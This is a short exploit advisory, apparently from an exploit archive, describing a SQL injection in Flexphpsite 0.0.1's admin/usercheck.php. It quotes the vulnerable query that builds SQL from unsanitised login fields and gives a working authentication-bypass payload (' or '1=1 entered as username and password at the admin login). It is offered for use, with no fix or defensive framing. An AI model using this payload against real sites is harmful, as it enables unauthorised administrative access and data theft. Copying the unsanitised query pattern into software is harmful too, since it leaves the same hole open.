Flexphpsite version 0.0.1 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
931c3177f8c7c89c4339c5e1d9ae6cc46813c7bdd587304494b1dd7e679a626a
#############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: https://w00tz0ne.altervista.org/index.php
Cms: Flexphpsiteen
Version: 0.0.1
Download: https://www.china-on-site.com/flexphpsite/downloads.html
##############################################
Bug In \admin\usercheck.php
$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";
Exploit:
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1
Greetz: Anna <3